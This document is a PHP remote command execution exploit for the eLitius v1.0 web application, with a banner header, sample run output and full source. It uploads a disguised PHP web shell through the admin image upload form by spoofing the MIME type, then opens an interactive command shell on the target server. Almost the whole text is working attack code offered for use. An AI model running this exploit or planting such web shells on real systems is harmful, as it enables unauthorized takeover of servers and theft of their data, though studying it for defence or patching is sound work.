<?php
//786
/*
==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|
==============================================================================
____ _ _ _ _ ___ _ __
/ ___| | || | | \ | | / _ \ | |/ /
| | _ | || |_ | \| | | | | | | ' /
| |_| | |__ _| | |\ | | |_| | | . \
\____| |_| |_| \_| \___/ |_|\_\ I'm From Iran...
==============================================================================
eLitius v1.0 Remote Command Execution Exploit
==============================================================================
[ª] Script:.............[ eLitius v1.0 ]..............................
[ª] Website:............[ http://www.elitius.com/ ]...................
[ª] Today:..............[ 30042009 ]..................................
[ª] Founder:............[ G4N0K | mail[o]ganok[sh!t]gmail.com ].......
[!] What is going on...
---------------------------------
00. Auth Bypass...
01. Arbitrary File upload (MIME-Type Spoofing)...
[+] demo...
---------------------------------
xpl.php 127.0.0.1 /eLitius_v_1_0/
+-------------------------------------------------------------+
| eLitius v1.0 Remote Command Execution Exploit |
| by: G4N0K | mail[o]ganok[ta]com |
| Thanks: ALLAH, MSD, SMN, AMD, AFN |
+-------------------------------------------------------------+
[+] Trying to exploit 127.0.0.1...
[+] File has been uploaded...
[+] Now you can exec your commands...
php-shell@127.0.0.1# dir
Volume in drive E has no label.
Volume Serial Number is 042D-D300
Directory of E:\www\eLitius_v_1_0\admin\banners
09/09/2009 03:01 AM <DIR> .
09/09/2009 03:01 AM <DIR> ..
09/09/2009 07:58 PM 104,747 1.gif
09/09/2009 03:01 AM 89 banner_ditails.php
09/09/2009 07:58 PM 104,747 DEH-P9800BT remote control.gif
09/09/2009 08:33 AM 19,638 sponimage.php.gif
4 File(s) 232,681 bytes
2 Dir(s) 125,026,304 bytes free
php-shell@127.0.0.1# exit
C:\>
*/
error_reporting(0);
if (php_sapi_name() <> "cli") {
die("WTF, Run Me From CommandLine...");
}
if ($argc <> 3){__nfo();__usg();exit;}
$hst = $argv[1];
$pth = $argv[2];
function __snd($hst, $pkt)
{
$socket = fsockopen($hst, 80, $errno, $errstr, 30);
$ggg='';
if (!$socket) {
echo "\r\n [+] Socket err#: $errstr ($errno)\n\r";exit;
} else {
fwrite($socket, $pkt);
while (!feof($socket)) {
$g4n0k.=fgets($socket, 2048);
}
fclose($socket);
return $g4n0k;
}
}
function __srch($wt){
$pos = strpos($wt, 'gnkgnkgnk');
$pos_end = strrpos($wt, 'gnkgnkgnk');
if (!$pos && !$pos_end){echo " [!] error...\r\n";}
$rest = substr($wt, $pos+9, ($pos_end - ($pos+9)));
return $rest;
}
function __nfo()
{
$ganok = <<<EOL
+-------------------------------------------------------------+
| eLitius v1.0 Remote Command Execution Exploit |
| by: G4N0K | mail[o]ganok[ta]com |
| Thanks: ALLAH, MSD, SMN, AMD, AFN |
+-------------------------------------------------------------+
\r\n
EOL;
print $ganok;
}
function __usg()
{
echo <<<GNK
uasge...:
xpl.php host path
xpl.php 127.0.0.1 /eLitius_v_1_0/
GNK;
}
$joke = '-----------------------------3902153292
Content-Disposition: form-data; name="userfile"; filename="banner_ditails.php"
Content-Type: image/gif
<?php error_reporting(0);print("gnkgnkgnk");passthru($_GET["gnk"]);print("gnkgnkgnk"); ?>
-----------------------------3902153292
Content-Disposition: form-data; name="fileupload"
Upload
-----------------------------3902153292
Content-Disposition: form-data; name="directory"
banners
-----------------------------3902153292--
';
$msd_pyld = "POST {$pth}admin/uploadimage.php HTTP/1.1\r\n";
$msd_pyld .= "Host: {$hst}\r\n";
$msd_pyld .= "Keep-Alive: 300\n\r";
$msd_pyld .= "Connection: keep-alive\r\n";
$msd_pyld .= "Content-Length: ".strlen($joke)."\r\n";
$msd_pyld .= "Content-Type: multipart/form-data; boundary=---------------------------3902153292\r\n\r\n";
$msd_pyld .= $joke;
__nfo();
echo "\r\n [+] Trying to exploit {$hst}...\n\r";
if (stristr(__snd($hst, $msd_pyld), "uploaded")){
echo "\r\n [+] File has been uploaded...\n\r\r\n [+] Now you can exec your commands...\r\n"; } else {
echo "\r\n [+] Oops!, Upload failed.\n\r"; exit;
}
while(1)
{
echo "\r\nphp-shell@{$hst}# ";
if (($cmd = str_replace (" ", "%20", trim(fgets(STDIN)))) == "exit") exit;
$smn_pyld = "GET {$pth}admin/banners/banner_ditails.php?gnk=".$cmd." HTTP/1.1\r\n";
$smn_pyld .= "Host: {$hst}\r\n";
$smn_pyld .= "Connection: close\n\r\n\r";
print __srch(__snd($hst, $smn_pyld));
}
?>
Polish
English